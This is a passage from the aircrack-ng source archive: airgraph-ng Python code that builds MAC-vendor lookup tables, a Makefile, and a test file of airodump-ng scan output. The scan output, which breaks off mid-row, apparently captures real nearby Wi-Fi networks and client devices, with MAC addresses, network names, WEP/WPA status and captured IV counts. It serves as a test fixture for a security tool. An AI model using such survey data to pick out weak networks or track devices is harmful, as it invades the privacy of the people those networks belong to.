def ouiParse(self): """ generate a oui to company lookup dict """ HexOui= {} Hex = re.compile('.*(hex).*') #matches the following example "00-00-00 (hex)\t\tXEROX CORPORATION" ouiLines = self.ouiRaw.split("\n\n") #split each company into a list one company per position for line in ouiLines: if Hex.search(line) != None: lineList = Hex.search(line).group().replace("\t"," ").split(" ") #return the matched text and build a list out of it HexOui[lineList[0].replace("-",":")] = lineList[2] #build a dict in the format of mac:company name return HexOui def companyParse(self): """ generate a company to oui lookup dict """ company_oui = {} for oui in self.oui_company: if company_oui.has_key(self.oui_company[oui][0]): company_oui[self.oui_company[oui][0]].append(oui) else: company_oui[self.oui_company[oui][0]] = [oui] return company_oui def ouiUpdate(self): """ Grab the oui txt file off the ieee.org website """ try: print("Getting OUI file from %s to %s" %(self.ouiTxtUrl, path)) urllib.urlretrieve(self.ouiTxtUrl, path + "oui.txt") print "Completed Successfully" except Exception, error: print("Could not download file:\n %s\n Exiting airgraph-ng" %(error)) sys.exit(0) def identDeviceDict(self,fname): """ Create two dicts allowing device type lookup one for oui to device and one from device to OUI group """ self.ouitodevice = {} self.devicetooui = {} data = self.ouiOpen(fname,'RL') if data == False: self.last_error = "Unable to open lookup file for parsing" return False for line in data: dat = line.strip().split(',') self.ouitodevice[dat[1]] = dat[0] if dat[0] in self.devicetooui.keys(): self.devicetooui[dat[0]].append(dat[1]) else: self.devicetooui[dat[0]] = [dat[1]] def identDeviceDictWhacMac(self,fname): """ Create two dicts allowing device type lookup from whatmac DB one for oui to device and one from the device to OUI group """ self.ouitodeviceWhatmac3 = {} self.ouitodeviceWhatmac = {} self.devicetoouiWhacmac = {} data = self.ouiOpen(fname,'RL') if data == False: self.last_error = "Unble to open lookup file for parsing" return False for line in data: dat = line.strip().split(',') dat[0] = dat[0].upper() self.ouitodeviceWhatmac[dat[0]] = dat[1] self.ouitodeviceWhatmac3[dat[0][0:8]] = dat[1] # a db to support the 3byte lookup from whatmac if dat[1] in self.devicetoouiWhacmac.keys(): self.devicetoouiWhacmac[dat[1]].append(dat[0]) else: self.devicetoouiWhacmac[dat[1]] = [dat[0]] aircrack-ng-1.2-rc4/scripts/airgraph-ng/lib/0000755000000000000000000000000012660222375017362 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airgraph-ng/lib/Makefile0000644000000000000000000000046311523652661021027 0ustar rootrootAC_ROOT = ../../.. include $(AC_ROOT)/common.mak LIB_FILES = lib_Airgraphviz.py ag_lib = $(DESTDIR)$(bindir)/lib default: all all: @echo Nothing to do. Run make install install: uninstall install -d $(ag_lib) install -m 644 $(LIB_FILES) $(ag_lib) uninstall: -rm -f $(ag_lib)/lib_Airgraphviz.pyaircrack-ng-1.2-rc4/scripts/airgraph-ng/test/0000755000000000000000000000000012660222374017572 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airgraph-ng/test/test-1.txt0000644000000000000000000010410711144205432021443 0ustar rootroot BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key 00:02:2D:8E:F9:FB, 2008-11-02 22:40:42, 2008-11-05 01:43:08, 1, 11, WEP OPN , WEP, , 20, 6162, 56513, 0. 0. 0. 0, 1, , 02:1D:7E:47:F6:B3, 2008-11-02 22:40:41, 2008-11-05 01:43:07, 11, 54, WPA2, CCMP,PSK, 18, 49659, 0, 0. 0. 0. 0, 5, kwifi, 00:1F:33:B3:E3:3E, 2008-11-02 22:41:17, 2008-11-05 01:42:59, 1, 54, WEP , WEP, , 17, 41660, 24, 0. 0. 0. 0, 13, Snow Network, 00:12:17:DA:62:B7, 2008-11-02 22:41:18, 2008-11-05 01:43:53, 8, 54, WEP , WEP, , 15, 36032, 2, 0. 0. 0. 0, 10, YaggaWagga, 00:13:46:08:87:0E, 2008-11-02 22:41:43, 2008-11-05 01:43:42, 6, 54, WPA , TKIP,PSK, 14, 23404, 366, 0. 0. 0. 0, 6, kevinh, 00:16:B6:39:B6:ED, 2008-11-02 22:40:42, 2008-11-05 01:43:55, 6, 54, WPA2, CCMP,PSK, 14, 20268, 72, 0. 0. 0. 0, 7, giggity, 00:0C:41:49:67:9F, 2008-11-02 22:41:56, 2008-11-05 01:43:16, 11, 11, OPN , , , 12, 287, 0, 0. 0. 0. 0, 8, wireless, 00:14:BF:A3:09:8B, 2008-11-02 22:41:17, 2008-11-05 01:42:33, 6, 54, WEP , WEP, OPN, 13, 22053, 183, 0. 0. 0. 0, 6, kelley, 00:1E:58:00:FF:5E, 2008-11-02 22:41:29, 2008-11-05 01:41:03, 5, 54, OPN , , , 16, 6921, 15, 192.168. 0. 1, 8, AmyDLink, 00:1C:10:A8:20:6F, 2008-11-02 22:41:17, 2008-11-05 01:37:40, 6, 54, WEP , WEP, , 12, 723, 829, 0. 0. 0. 0, 13, geyerinternet, 00:1D:7E:16:17:F4, 2008-11-02 22:42:35, 2008-11-05 01:11:49, 6, 54, WEP , WEP, OPN, 11, 1320, 42, 0. 0. 0. 0, 7, linksys, 00:15:E9:16:01:30, 2008-11-02 22:41:30, 2008-11-05 01:01:07, 6, 54, WEP , WEP, OPN, 14, 14576, 3747, 0. 0. 0. 0, 14, Nicole's mommy, 02:7A:75:47:0E:87, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 11, 54, OPN , , , -1, 5, 0, 0. 0. 0. 0, 19, print server 07DA43, 02:1C:BF:01:AB:84, 2008-11-04 22:04:10, 2008-11-04 23:11:44, 1, 54, OPN , , , -1, 486, 21, 192.168. 1.100, 16, Free Public WiFi, 02:2A:C5:BD:0D:44, 2008-11-04 23:01:00, 2008-11-04 23:01:04, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24, 02:B0:38:5F:0E:51, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 11, 11, OPN , , , -1, 43, 0, 0. 0. 0. 0, 19, print server 1B7145, 00:1E:E5:73:44:DC, 2008-11-03 21:59:33, 2008-11-04 21:36:31, 11, -1, OPN , , , -1, 0, 10, 0. 0. 0. 0, 0, , 00:0D:0B:2B:22:AD, 2008-11-03 01:00:41, 2008-11-04 20:52:29, 5, 54, WEP , WEP, , 14, 504, 14, 0. 0. 0. 0, 7, hsutree, 9E:00:D4:01:DD:02, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 6, 1, WEP , WEP, , -1, 4, 2, 0. 0. 0. 0, 8, SST-PR-1, 00:12:17:1E:45:F2, 2008-11-03 01:02:41, 2008-11-04 19:05:12, 3, 54, WPA2, TKIP,PSK, 12, 29, 0, 0. 0. 0. 0, 8, HOMENET3, 00:14:BF:00:FC:1D, 2008-11-04 17:13:41, 2008-11-04 17:13:41, -1, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 82:03:45:03:42:03, 2008-11-04 16:35:35, 2008-11-04 16:35:44, 6, 1, WEP , WEP, , -1, 7, 3, 0. 0. 0. 0, 8, SST-PR-1, 00:10:18:F1:F2:F3, 2008-11-03 23:48:48, 2008-11-04 00:06:29, 1, 11, OPN , , , 21, 5, 0, 0. 0. 0. 0, 14, BRCM_TEST_SSID, F6:C9:1B:AA:54:31, 2008-11-03 23:37:01, 2008-11-03 23:37:05, 4, 11, OPN , , , -1, 3, 0, 0. 0. 0. 0, 11, megahoc.v24, 00:60:B3:2F:A2:F8, 2008-11-03 21:24:41, 2008-11-03 22:05:57, 1, 11, WPA , CCMP,PSK, 24, 11, 0, 0. 0. 0. 0, 10, ATROAD7800, 4E:ED:40:53:FE:97, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 10, 11, OPN , , , -1, 28, 0, 0. 0. 0. 0, 7, hpsetup, 00:1E:52:F5:3E:D5, 2008-11-03 15:14:05, 2008-11-03 17:34:21, 11, -1, OPN , , , -1, 0, 1, 0. 0. 0. 0, 0, , 22:25:0C:29:67:48, 2008-11-03 11:08:42, 2008-11-03 11:08:43, 6, 54, OPN , , , -1, 3, 0, 0. 0. 0. 0, 7, hpsetup, 02:D5:01:C8:28:D7, 2008-11-03 13:13:58, 2008-11-03 13:14:01, 11, 11, OPN , , , -1, 2, 0, 0. 0. 0. 0, 7, MH07058, 72:03:92:02:08:02, 2008-11-03 16:50:26, 2008-11-03 16:50:40, 6, 1, WEP , WEP, , -1, 9, 1, 0. 0. 0. 0, 8, SST-PR-1, 12:02:DC:02:10:00, 2008-11-03 20:22:03, 2008-11-03 20:22:12, 6, 11, WEP , WEP, , -1, 11, 0, 0. 0. 0. 0, 8, SST-PR-1, 02:00:BD:65:24:DD, 2008-11-03 23:14:55, 2008-11-03 23:14:58, 10, 11, OPN , , , -1, 2, 75, 192.168. 1.112, 7, hpsetup, 00:1D:7E:40:D7:4F, 2008-11-03 03:59:59, 2008-11-04 01:48:48, 6, -1, OPN , , , -1, 0, 16, 192.168. 1.107, 0, , E2:E7:EB:07:43:81, 2008-11-04 02:46:52, 2008-11-04 02:46:56, 6, 11, OPN , , , -1, 14, 0, 0. 0. 0. 0, 7, hpsetup, 00:1A:70:F5:FE:9E, 2008-11-03 01:56:29, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:00:00:00:00:00, 2008-11-04 17:10:01, 2008-11-04 17:10:05, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:60:B3:2E:59:0F, 2008-11-03 20:49:07, 2008-11-04 18:34:48, 11, 11, WEP , WEP, , 27, 20, 0, 0. 0. 0. 0, 0, , 00:1E:E5:FE:65:C2, 2008-11-03 00:31:59, 2008-11-04 19:18:49, 11, 54, WPA2, CCMP,PSK, 13, 15, 2, 0. 0. 0. 0, 5, XtYr3, 00:1C:F0:6B:90:66, 2008-11-03 03:22:33, 2008-11-04 19:30:06, 11, 54, WEP , WEP, , 11, 5, 3, 0. 0. 0. 0, 5, sarah, 02:13:CE:00:AD:8D, 2008-11-04 20:30:54, 2008-11-04 20:30:58, 11, 54, OPN , , , -1, 2, 0, 0. 0. 0. 0, 8, AOL WiFi, CE:B4:1E:CC:3B:7C, 2008-11-04 21:25:01, 2008-11-04 21:58:02, 10, 11, OPN , , , -1, 197, 0, 0. 0. 0. 0, 7, hpsetup, 00:18:F8:42:7A:93, 2008-11-02 22:43:17, 2008-11-04 22:13:29, 6, 54, WPA , TKIP,PSK, 12, 1021, 0, 0. 0. 0. 0, 17, linksys_SES_41527, 00:0C:41:B0:6D:1A, 2008-11-03 11:40:27, 2008-11-04 22:30:09, 6, 11, OPN , , , 16, 1, 67, 192.168. 1.108, 7, linksys, 00:13:10:88:84:5B, 2008-11-02 23:30:23, 2008-11-04 23:06:45, 6, -1, WEP , WEP, , -1, 0, 4, 0. 0. 0. 0, 0, , 00:13:46:EE:9E:93, 2008-11-03 02:07:32, 2008-11-04 23:35:29, 11, 54, WPA2, CCMP,PSK, 11, 12, 0, 0. 0. 0. 0, 0, , 00:1E:2A:50:4F:18, 2008-11-02 23:29:22, 2008-11-04 23:42:40, 6, -1, , , , -1, 0, 0, 0. 0. 0. 0, 0, , 00:17:9A:29:20:62, 2008-11-02 23:22:24, 2008-11-05 00:04:51, 11, 54, OPN , , , 11, 2127, 618, 192.168. 0.101, 7, Shapfam, 00:1E:E5:46:F4:4F, 2008-11-02 22:43:30, 2008-11-05 01:20:04, 11, -1, WPA , , , -1, 0, 333, 0. 0. 0. 0, 0, , 00:18:39:53:B3:CB, 2008-11-04 15:30:49, 2008-11-05 01:25:29, 6, 54, WEP , WEP, , 12, 7, 0, 0. 0. 0. 0, 6, eencee, 00:1F:33:31:5E:D0, 2008-11-02 22:43:30, 2008-11-05 01:38:57, 11, 54, WEP , WEP, , 12, 6575, 8, 0. 0. 0. 0, 3, Tom, 00:13:10:A9:FA:DA, 2008-11-02 22:40:43, 2008-11-05 01:39:32, 6, 54, WPA , TKIP,PSK, 16, 36851, 94, 0. 0. 0. 0, 2, HM, 00:11:95:55:5A:AB, 2008-11-02 22:42:43, 2008-11-05 01:43:42, 6, 54, WEP , WEP, , 13, 3854, 40, 0. 0. 0. 0, 4, NETZ, 00:1D:7E:EF:4E:6F, 2008-11-02 22:41:42, 2008-11-05 01:42:07, 11, 54, WEP , WEP, , 13, 4, 26, 0. 0. 0. 0, 5, Molly, 00:13:10:E3:26:2F, 2008-11-03 00:28:58, 2008-11-05 01:42:07, 6, 54, OPN , , , 13, 69, 116, 192.168. 1.105, 5, Oasis, 00:0F:66:40:41:2A, 2008-11-02 22:41:25, 2008-11-05 01:43:55, 6, 11, OPN , , , 14, 3019, 1, 0. 0. 0. 0, 7, linksys, 00:13:10:B6:B2:AF, 2008-11-02 22:51:07, 2008-11-05 01:43:29, 6, 54, WEP , WEP, OPN, 12, 730, 13, 0. 0. 0. 0, 12, DoggyWorld27, 00:18:39:58:3D:0A, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 13, 39314, 256, 0. 0. 0. 0, 7, vanessa, 00:13:10:E3:BF:C5, 2008-11-02 22:46:09, 2008-11-05 01:43:58, 4, 54, OPN , , , 14, 37056, 1340, 192.168. 0.104, 8, home-net, 00:1B:2F:E8:8D:1A, 2008-11-02 22:40:41, 2008-11-05 01:43:33, 11, 54, WEP , WEP, , 14, 58620, 120, 0. 0. 0. 0, 5, atown, 00:19:5B:4C:9D:CB, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 14, 10302, 346, 0. 0. 0. 0, 5, HLnet, 00:16:B6:E3:C3:7F, 2008-11-02 22:41:12, 2008-11-05 01:43:51, 6, 54, OPN , , , 16, 23648, 228, 192.168. 1.133, 7, linksys, 00:09:5B:D8:B7:D0, 2008-11-02 22:41:34, 2008-11-05 01:43:55, 11, 54, OPN , , , 15, 16630, 124, 192.168. 0. 4, 7, Nedgear, 00:1E:E5:6A:67:72, 2008-11-02 22:41:17, 2008-11-05 01:43:55, 6, 54, WPA2WPA , CCMP TKIP,PSK, 18, 44437, 318, 0. 0. 0. 0, 6, ndiane, 00:0F:66:2D:A8:21, 2008-11-02 22:40:41, 2008-11-05 01:43:51, 11, 54, WEP , WEP, OPN, 15, 36123, 152, 0. 0. 0. 0, 6, printz, 00:1B:2F:01:47:02, 2008-11-02 22:42:22, 2008-11-05 01:43:29, 6, 54, WEP , WEP, , 16, 1886, 4, 0. 0. 0. 0, 15, KD Wireless Net, 00:0C:41:BC:B8:D9, 2008-11-02 22:40:44, 2008-11-05 01:43:57, 8, 11, WEP , WEP, , 20, 54896, 1751, 0. 0. 0. 0, 8, HOMENET2, 00:1D:7E:47:F6:B2, 2008-11-02 22:40:41, 2008-11-05 01:43:42, 11, 54, OPN , , , 17, 50987, 11890, 192.168. 1.130, 5, Gizmo, 00:18:F8:1A:DA:A5, 2008-11-02 22:40:24, 2008-11-05 01:43:56, 6, 54, WEP , WEP, OPN, 19, 79812, 39777, 0. 0. 0. 0, 6, Saloka, 00:1A:70:D1:E9:D6, 2008-11-02 22:40:42, 2008-11-05 01:43:47, 6, 54, WEP , WEP, OPN, 15, 17210, 261, 0. 0. 0. 0, 5, YaAli, 00:12:17:3A:B9:78, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 11, 54, WPA2, CCMP TKIP,PSK, 19, 34947, 855, 0. 0. 0. 0, 7, HOMENET, 00:17:3F:3A:F0:7E, 2008-11-02 22:40:40, 2008-11-05 01:43:55, 11, 54, WPA , TKIP,PSK, 16, 41698, 3339, 0. 0. 0. 0, 6, Finack, 00:0F:66:2C:A6:5B, 2008-11-02 22:40:41, 2008-11-05 01:43:55, 5, 54, WPA2, CCMP TKIP,PSK, 21, 45279, 4005, 0. 0. 0. 0, 9, Avalanche, 00:1C:B3:AE:16:6E, 2008-11-02 22:41:14, 2008-11-05 01:43:54, 3, 54, WPA2WPA , CCMP TKIP,PSK, 21, 49404, 191, 0. 0. 0. 0, 4, POCO, 00:09:5B:6A:C6:30, 2008-11-02 22:41:12, 2008-11-05 01:43:55, 11, 54, WEP , WEP, OPN, 17, 66914, 645, 0. 0. 0. 0, 8, fischel , 00:0F:66:6A:3A:C0, 2008-11-02 22:40:42, 2008-11-05 01:43:57, 6, 54, WEP , WEP, , 17, 59466, 1010, 0. 0. 0. 0, 9, godfather, 00:0F:66:8E:F3:E8, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 6, 54, WEP , WEP, , 19, 54240, 23, 0. 0. 0. 0, 5, Crush, 00:21:29:67:AC:4A, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 11, 54, WPA , TKIP,PSK, 25, 92479, 3908, 0. 0. 0. 0, 11, SRG_Network, 00:13:10:C9:DC:C0, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 6, 54, WPA , TKIP,PSK, 25, 87194, 286, 0. 0. 0. 0, 4, jita, 00:13:10:C6:5D:A4, 2008-11-02 22:40:42, 2008-11-05 01:43:56, 1, 54, WPA , TKIP,PSK, 22, 63547, 804, 0. 0. 0. 0, 7, Morf-Ra, 00:13:10:73:8F:DE, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 10, 54, WEP , WEP40 WEP,SKA, 23, 116563, 347, 0. 0. 0. 0, 9, RBGcolors, 00:09:5B:ED:2A:30, 2008-11-02 22:40:41, 2008-11-05 01:43:58, 11, 54, WEP , WEP,SKA, 28, 153716, 57, 0. 0. 0. 0, 7, NETGEAR, 00:17:9A:48:1B:17, 2008-11-02 22:39:17, 2008-11-05 01:43:57, 7, 54, OPN , , , 27, 72702, 542, 192.168. 0. 1, 10, Fenerbahce, 00:1C:DF:39:B4:13, 2008-11-02 22:39:00, 2008-11-05 01:43:58, 1, 54, WPA , TKIP,PSK, 31, 127269, 5881, 0. 0. 0. 0, 8, Legal EZ, 00:1C:10:A8:72:41, 2008-11-02 22:39:03, 2008-11-05 01:43:58, 6, 54, WEP , WEP, , 33, 189655, 2633, 0. 0. 0. 0, 11, willinho123, 00:1E:52:7A:C4:F8, 2008-11-02 22:39:19, 2008-11-05 01:43:58, 9, 54, WPA2WPA , CCMP TKIP,PSK, 41, 226084, 4738, 0. 0. 0. 0, 12, Base Station, 00:1E:58:EE:94:DF, 2008-11-02 22:40:41, 2008-11-05 01:43:56, 5, 54, WPA2, CCMP TKIP,PSK, 33, 212184, 18149, 0. 0. 0. 0, 5, David, 00:18:39:3E:C5:5D, 2008-11-02 22:39:11, 2008-11-05 01:43:58, 11, 54, OPN , , , 29, 225225, 8876, 192.168. 1.104, 6, Fundip, 00:10:DB:A0:D6:A1, 2008-11-02 22:38:59, 2008-11-05 01:43:58, 1, 54, WPA , CCMP,PSK, 67, 220549, 4513, 0. 0. 0. 0, 15, NS-5GT-Wireless, Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs 00:19:7E:9A:66:96, 2008-11-02 22:44:11, 2008-11-05 01:42:36, 21, 1918, 00:1E:58:00:FF:5E, amydlink,AmyDLink 00:90:4B:CB:95:B1, 2008-11-02 22:42:59, 2008-11-05 01:42:33, 20, 2273, 00:14:BF:00:FC:1D, printz,linksys_SES_14585,Awireless,linksys_SES_32319 00:17:AB:43:6D:29, 2008-11-02 23:05:16, 2008-11-05 01:42:28, 20, 232, 00:1D:7E:47:F6:B2, Gizmo 00:19:7E:94:95:05, 2008-11-02 22:56:34, 2008-11-05 01:43:42, 20, 2734, 00:12:17:3A:B9:78, HOMENET 00:1F:3A:94:F3:9E, 2008-11-04 13:54:54, 2008-11-05 01:41:47, 15, 381, 00:13:10:E3:26:2F, NOVA_2,Oasis 00:11:D9:00:9F:1D, 2008-11-02 23:01:43, 2008-11-05 01:38:30, 16, 399, 00:1C:B3:AE:16:6E, POCO 00:1B:2F:37:B1:EC, 2008-11-03 23:32:15, 2008-11-05 01:43:42, 10, 246, 00:1D:7E:47:F6:B2, Gizmo 00:0E:A6:F1:55:B2, 2008-11-02 22:45:08, 2008-11-05 01:30:25, 16, 1625, 00:1D:7E:47:F6:B2, home-net,doneNetPRIV,Gizmo 00:23:12:92:96:3A, 2008-11-05 00:58:37, 2008-11-05 01:15:55, 16, 7, (not associated) , 00:90:96:B1:AB:F3, 2008-11-03 01:24:39, 2008-11-05 01:15:02, 20, 240, 00:13:10:73:8F:DE, RBGcolors 00:23:12:84:88:6E, 2008-11-05 01:01:20, 2008-11-05 01:09:01, 32, 12, (not associated) , 00:90:96:F0:32:26, 2008-11-03 00:15:00, 2008-11-05 01:07:43, 18, 153, 00:1D:7E:40:D7:4F, linksys 00:18:F3:3D:B8:9E, 2008-11-05 00:57:57, 2008-11-05 00:57:57, 13, 1, (not associated) , linksys 00:14:A5:A1:FC:97, 2008-11-02 23:03:32, 2008-11-05 00:57:45, 13, 10, (not associated) , 007 00:1C:B3:C1:07:07, 2008-11-03 01:23:40, 2008-11-05 00:49:11, 21, 301, 00:1E:58:EE:94:DF, David,linksys 00:1E:C2:F3:75:AB, 2008-11-02 22:54:35, 2008-11-05 00:43:57, 13, 590, 00:13:10:E3:BF:C5, 00:1E:4C:46:5B:F0, 2008-11-03 01:02:27, 2008-11-05 00:39:14, 18, 94, 00:1D:7E:16:17:F4, linksys 00:23:6C:7E:54:AA, 2008-11-04 00:35:43, 2008-11-05 00:35:55, 26, 84, 00:1E:52:7A:C4:F8, Base Station 00:19:D2:2D:A7:DF, 2008-11-02 23:23:20, 2008-11-05 00:19:12, 18, 139, 00:1E:2A:50:4F:18, Owner8567,Intel 802.11 Default SSID 00:18:DE:9F:65:CB, 2008-11-04 20:21:59, 2008-11-05 00:07:47, 10, 7, 02:7A:75:47:0E:87, 00:19:7D:18:59:29, 2008-11-02 22:53:58, 2008-11-04 23:46:30, 23, 393, 00:09:5B:6A:C6:30, fischel 00:1E:C2:32:2C:56, 2008-11-02 23:29:35, 2008-11-04 23:11:44, 13, 538, 02:1C:BF:01:AB:84, Martin_Wireless 00:19:1D:FC:18:C4, 2008-11-03 06:22:28, 2008-11-04 23:09:50, 16, 21, 00:09:5B:6A:C6:30, fischel 00:D0:59:C9:E9:BD, 2008-11-03 00:37:48, 2008-11-04 23:08:29, 12, 557, 00:0C:41:49:67:9F, PRISM-SSID 00:16:B6:5A:61:ED, 2008-11-03 21:27:12, 2008-11-04 23:05:04, 20, 1975, 00:18:39:3E:C5:5D, Fundip 00:16:CE:33:FC:36, 2008-11-03 23:37:01, 2008-11-04 23:01:04, 26, 13, 02:2A:C5:BD:0D:44, 00:18:DE:0A:64:C6, 2008-11-02 23:34:05, 2008-11-04 23:01:18, 13, 80, 00:15:E9:16:01:30, Nicole's mommy 00:1B:77:1A:5F:C2, 2008-11-04 01:11:11, 2008-11-04 22:45:00, 18, 10, 00:1B:2F:01:47:02, KD Wireless Net 00:11:F5:50:8B:7D, 2008-11-04 01:03:59, 2008-11-04 22:26:32, 13, 25, 00:1C:10:A8:20:6F, geyerinternet 00:21:E9:3A:88:32, 2008-11-04 22:19:56, 2008-11-04 22:19:56, -1, 1, 00:16:B6:E3:C3:7F, 00:20:00:1B:71:45, 2008-11-02 22:40:41, 2008-11-04 22:17:13, 10, 43, 02:B0:38:5F:0E:51, 00:18:DE:C9:94:0D, 2008-11-04 22:08:30, 2008-11-04 22:08:37, 24, 3, (not associated) , Volun_WiFi 00:18:DE:9F:7E:BA, 2008-11-03 20:05:07, 2008-11-04 22:01:54, 52, 33, (not associated) , Staff_WiFi,NETGEAR 00:13:02:06:73:FB, 2008-11-03 13:41:13, 2008-11-04 21:19:17, 20, 98, 00:1F:33:B3:E3:3E, 101 00:0D:88:67:A9:DD, 2008-11-04 01:05:12, 2008-11-04 21:06:30, -1, 24, 00:1F:33:31:5E:D0, 00:0E:D7:0F:40:7B, 2008-11-04 20:44:36, 2008-11-04 20:45:15, 16, 5, 9E:00:D4:01:DD:02, 00:23:4D:36:C1:19, 2008-11-04 20:28:59, 2008-11-04 20:44:59, 16, 2, (not associated) , 00:1A:73:89:7B:BC, 2008-11-03 15:02:34, 2008-11-04 19:52:33, 13, 19, 00:17:9A:29:20:62, 00:0E:35:97:6F:02, 2008-11-03 08:25:45, 2008-11-04 19:49:42, -1, 2, 00:13:10:E3:26:2F, 00:1B:63:EA:04:17, 2008-11-03 15:46:23, 2008-11-04 19:49:15, 29, 41, (not associated) , 00:0C:41:56:19:49, 2008-11-02 22:41:17, 2008-11-04 19:46:26, 29, 992, 00:1C:10:A8:20:6F, 00:21:E9:DA:E2:9A, 2008-11-03 01:13:46, 2008-11-04 19:43:41, 15, 35, 00:1E:52:F5:3E:D5, Hanuman 00:12:5A:EE:49:58, 2008-11-04 15:26:35, 2008-11-04 19:28:26, 20, 8, 00:1D:7E:16:17:F4, 00:12:F0:B8:5B:DC, 2008-11-02 22:47:45, 2008-11-04 19:15:01, 13, 557, 00:17:9A:48:1B:17, Fenerbahce 00:23:12:CC:0F:C3, 2008-11-04 18:21:04, 2008-11-04 18:21:04, 13, 1, (not associated) , 00:0E:9B:01:23:25, 2008-11-03 02:20:51, 2008-11-04 17:43:49, 10, 15846, 00:1E:58:EE:94:DF, Private,David 00:18:DE:39:57:90, 2008-11-02 22:44:41, 2008-11-04 17:24:32, 15, 719, 00:1B:2F:E8:8D:1A, atown 00:18:DE:C9:99:E6, 2008-11-04 12:16:35, 2008-11-04 17:21:53, 23, 15, (not associated) , Staff_WiFi 00:1C:BF:24:14:29, 2008-11-03 18:34:25, 2008-11-04 17:14:25, 30, 12, (not associated) , Staff_WiFi 00:08:21:31:05:8E, 2008-11-04 16:35:35, 2008-11-04 16:35:42, 41, 6, 82:03:45:03:42:03, 00:0A:B7:4C:BD:98, 2008-11-04 16:35:38, 2008-11-04 16:35:44, 16, 4, 82:03:45:03:42:03, 00:04:4B:14:85:F1, 2008-11-03 11:31:23, 2008-11-04 15:31:44, 20, 28, 00:12:17:3A:B9:78, 00:14:A5:39:CF:CF, 2008-11-04 14:56:21, 2008-11-04 15:19:17, 30, 66, 00:1E:52:7A:C4:F8, Base Station 00:0E:35:FF:4B:53, 2008-11-04 14:48:55, 2008-11-04 14:49:52, 29, 105, 00:0C:41:B0:6D:1A, 00:23:6C:04:C7:2E, 2008-11-03 13:44:27, 2008-11-04 13:42:37, 16, 16, (not associated) , 00:13:E8:A3:A3:AB, 2008-11-03 12:58:02, 2008-11-04 13:28:31, 15, 4, (not associated) , hhonors 00:21:06:9C:05:D2, 2008-11-04 13:27:55, 2008-11-04 13:27:55, 21, 3, (not associated) , @Home 00:12:F0:4A:4C:60, 2008-11-03 23:38:12, 2008-11-04 13:24:36, 23, 7945, 00:10:DB:A0:D6:A1, NS-5GT-Wireless 00:14:A5:39:DC:E6, 2008-11-04 13:23:44, 2008-11-04 13:23:44, 12, 1, (not associated) , 00:23:12:B3:44:95, 2008-11-04 13:12:59, 2008-11-04 13:12:59, 16, 1, (not associated) , 00:1C:B3:0D:2E:42, 2008-11-04 12:43:08, 2008-11-04 12:43:08, 15, 1, (not associated) , 00:1E:52:A5:DD:DD, 2008-11-02 22:54:22, 2008-11-04 12:38:31, 9, 12, 00:16:B6:E3:C3:7F, linksys 00:0B:BE:F1:CA:A2, 2008-11-03 22:43:18, 2008-11-04 12:06:28, 36, 4, (not associated) , Arlington 00:21:E9:83:24:30, 2008-11-04 11:59:46, 2008-11-04 11:59:46, 21, 1, (not associated) , 00:21:E9:87:DC:88, 2008-11-04 11:44:59, 2008-11-04 11:45:01, 16, 2, (not associated) , 00:21:E9:6F:D6:0D, 2008-11-03 00:10:40, 2008-11-04 10:57:00, 52, 373, 00:10:DB:A0:D6:A1, NS-5GT-Wireless 00:11:D9:01:94:ED, 2008-11-04 03:51:23, 2008-11-04 10:56:25, 16, 5, 00:0D:0B:2B:22:AD, hsutree 00:23:6C:37:90:C9, 2008-11-02 23:56:58, 2008-11-04 10:31:18, 21, 140, 00:13:10:A9:FA:DA, HM 00:13:E8:7F:9D:0B, 2008-11-02 22:43:26, 2008-11-04 10:25:57, 16, 489, 00:19:5B:4C:9D:CB, HLnet 00:23:12:8A:EF:2F, 2008-11-03 14:16:41, 2008-11-04 10:21:53, 18, 230, 00:19:5B:4C:9D:CB, HLnet 00:1F:5B:86:20:E2, 2008-11-03 00:21:47, 2008-11-04 09:01:53, 23, 19, (not associated) , Hanuman 00:1E:C2:DA:F0:F0, 2008-11-04 08:10:43, 2008-11-04 08:11:08, 33, 2, (not associated) , 00:21:E9:E1:D7:15, 2008-11-04 00:00:16, 2008-11-04 06:00:25, 18, 1889, 00:17:3F:3A:F0:7E, Finack,linksys 00:0F:66:E7:A3:ED, 2008-11-03 04:16:37, 2008-11-04 05:37:53, -1, 8, 00:13:10:E3:26:2F, 00:1C:B3:0D:64:0F, 2008-11-04 05:17:42, 2008-11-04 05:17:42, -1, 3, 00:16:B6:E3:C3:7F, 00:10:DB:A0:D6:A1, 2008-11-04 03:25:54, 2008-11-04 03:25:56, 92, 2, (not associated) , 00:13:CE:84:9C:2C, 2008-11-03 13:43:58, 2008-11-04 02:16:38, 29, 842, 00:13:10:E3:BF:C5, ,home-net 00:11:F5:0D:98:E5, 2008-11-04 00:20:59, 2008-11-04 01:21:15, 18, 18, (not associated) , Tom 00:1E:52:7A:C4:F8, 2008-11-04 01:05:05, 2008-11-04 01:08:26, 33, 27, (not associated) , Base Station 00:21:D1:09:1F:66, 2008-11-03 23:11:15, 2008-11-03 23:11:15, 18, 1, (not associated) , 00:23:12:B9:17:5E, 2008-11-03 22:53:52, 2008-11-03 22:53:52, 16, 1, (not associated) , 00:1C:B3:68:33:4A, 2008-11-03 21:26:05, 2008-11-03 21:35:42, 12, 28, 4E:ED:40:53:FE:97, 00:0C:F1:14:33:EB, 2008-11-03 18:01:08, 2008-11-03 18:01:09, 20, 5, (not associated) , Staff_WiFi 00:13:CE:ED:F0:86, 2008-11-03 17:19:51, 2008-11-03 17:19:51, 18, 